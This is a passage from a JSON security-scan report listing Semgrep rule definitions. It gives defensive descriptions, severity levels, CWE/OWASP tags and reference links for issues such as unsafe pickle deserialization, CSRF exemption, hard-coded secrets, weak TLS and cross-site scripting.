[https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","id":"python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","name":"python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."},"help":{"markdown":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.csrf-exempt.no-csrf-exempt)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.csrf-exempt.no-csrf-exempt","id":"python.django.security.audit.csrf-exempt.no-csrf-exempt","name":"python.django.security.audit.csrf-exempt.no-csrf-exempt","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.csrf-exempt.no-csrf-exempt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","id":"kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","name":"kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue."},"help":{"markdown":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue)\n - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-data-protection.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-data-protection.html)\n","text":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","id":"typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","name":"typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist."},"help":{"markdown":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.open-redirect.open-redirect)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unvalidated_redirects___forwards/open_redirect_go_lang.html](https://knowledge-base.secureflag.com/vulnerabilities/unvalidated_redirects___forwards/open_redirect_go_lang.html)\n","text":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.open-redirect.open-redirect","id":"go.lang.security.injection.open-redirect.open-redirect","name":"go.lang.security.injection.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join()."},"help":{"markdown":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess1)\n","text":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess1","id":"python.lang.compatibility.python37.python37-compatibility-multiprocess1","name":"python.lang.compatibility.python37.python37-compatibility-multiprocess1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-multiprocess1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead."},"help":{"markdown":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.security.no-auth-over-http.no-auth-over-http)\n - [https://semgrep.dev/blog/2020/bento-check-no-auth-over-http/](https://semgrep.dev/blog/2020/bento-check-no-auth-over-http/)\n - [https://bento.dev/checks/requests/no-auth-over-http/](https://bento.dev/checks/requests/no-auth-over-http/)\n","text":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.requests.security.no-auth-over-http.no-auth-over-http","id":"python.requests.security.no-auth-over-http.no-auth-over-http","name":"python.requests.security.no-auth-over-http.no-auth-over-http","properties":{"precision":"very-high","tags":["CWE-523: Unprotected Transport of Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.security.no-auth-over-http.no-auth-over-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"help":{"markdown":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve)\n","text":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"help":{"markdown":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/settings/#templates](https://docs.djangoproject.com/en/3.1/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)\n","text":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","id":"python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","name":"python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.global-autoescape-off.global-autoescape-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.missing-secure.missing-secure)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.missing-secure.missing-secure","id":"csharp.lang.audit.cookies.missing-secure.missing-secure","name":"csharp.lang.audit.cookies.missing-secure.missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.missing-secure.missing-secure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS."},"help":{"markdown":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version)\n - [https://www.ietf.org/rfc/rfc5246.txt](https://www.ietf.org/rfc/rfc5246.txt)\n","text":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","id":"terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","name":"terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Telnet does not encrypt communications. Use SSH instead."},"help":{"markdown":"Telnet does not encrypt communications. Use SSH instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.telnetlib.telnetlib)\n - [https://docs.python.org/3/library/telnetlib.html](https://docs.python.org/3/library/telnetlib.html)\n","text":"Telnet does not encrypt communications. Use SSH instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.telnetlib.telnetlib","id":"python.lang.security.audit.telnetlib.telnetlib","name":"python.lang.security.audit.telnetlib.telnetlib","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.telnetlib.telnetlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext."},"help":{"markdown":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.aead-no-final.aead-no-final)\n - [https://nodejs.org/api/crypto.html#deciphersetauthtagbuffer-encoding](https://nodejs.org/api/crypto.html#deciphersetauthtagbuffer-encoding)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures/](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)\n","text":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.aead-no-final.aead-no-final","id":"javascript.node-crypto.security.aead-no-final.aead-no-final","name":"javascript.node-crypto.security.aead-no-final.aead-no-final","properties":{"precision":"very-high","tags":["CWE-310: CWE CATEGORY: Cryptographic Issues","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.aead-no-final.aead-no-final"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a possible ZeroDivisionError."},"help":{"markdown":"Detected a possible ZeroDivisionError.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.divide-by-zero.divide-by-zero)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_divide_by_zero.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_divide_by_zero.rb)\n","text":"Detected a possible ZeroDivisionError."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.divide-by-zero.divide-by-zero","id":"ruby.lang.security.divide-by-zero.divide-by-zero","name":"ruby.lang.security.divide-by-zero.divide-by-zero","properties":{"precision":"very-high","tags":["CWE-369: Divide By Zero","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.divide-by-zero.divide-by-zero"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","id":"javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","name":"javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","id":"ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","name":"ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Evaluating non-constant commands. This can lead to command injection."},"help":{"markdown":"Evaluating non-constant commands. This can lead to command injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.eval-use.eval-use)\n - [https://www.php.net/manual/en/function.eval](https://www.php.net/manual/en/function.eval)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"Evaluating non-constant commands. This can lead to command injection."},"helpUri":"https://semgrep.dev/r/php.lang.security.eval-use.eval-use","id":"php.lang.security.eval-use.eval-use","name":"php.lang.security.eval-use.eval-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.eval-use.eval-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage."},"help":{"markdown":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.string.format-string.swift-format-string)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage."},"helpUri":"https://semgrep.dev/r/swift.lang.string.format-string.swift-format-string","id":"swift.lang.string.format-string.swift-format-string","name":"swift.lang.string.format-string.swift-format-string","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.string.format-string.swift-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"help":{"markdown":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.http-request.http-request)\n - [https://nodejs.org/api/http.html#http_http_request_options_callback](https://nodejs.org/api/http.html#http_http_request_options_callback)\n","text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.http-request.http-request","id":"problem-based-packs.insecure-transport.js-node.http-request.http-request","name":"problem-based-packs.insecure-transport.js-node.http-request.http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.http-request.http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data."},"help":{"markdown":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv)\n - [https://csrc.nist.gov/publications/detail/sp/800-38a/final](https://csrc.nist.gov/publications/detail/sp/800-38a/final)\n","text":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data."},"helpUri":"https://semgrep.dev/r/php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","id":"php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","name":"php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","properties":{"precision":"very-high","tags":["CWE-329: Generation of Predictable IV with CBC Mode","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","id":"python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","name":"python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded."},"help":{"markdown":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded.\n\n<b>References:</b>\n - [Semgrep 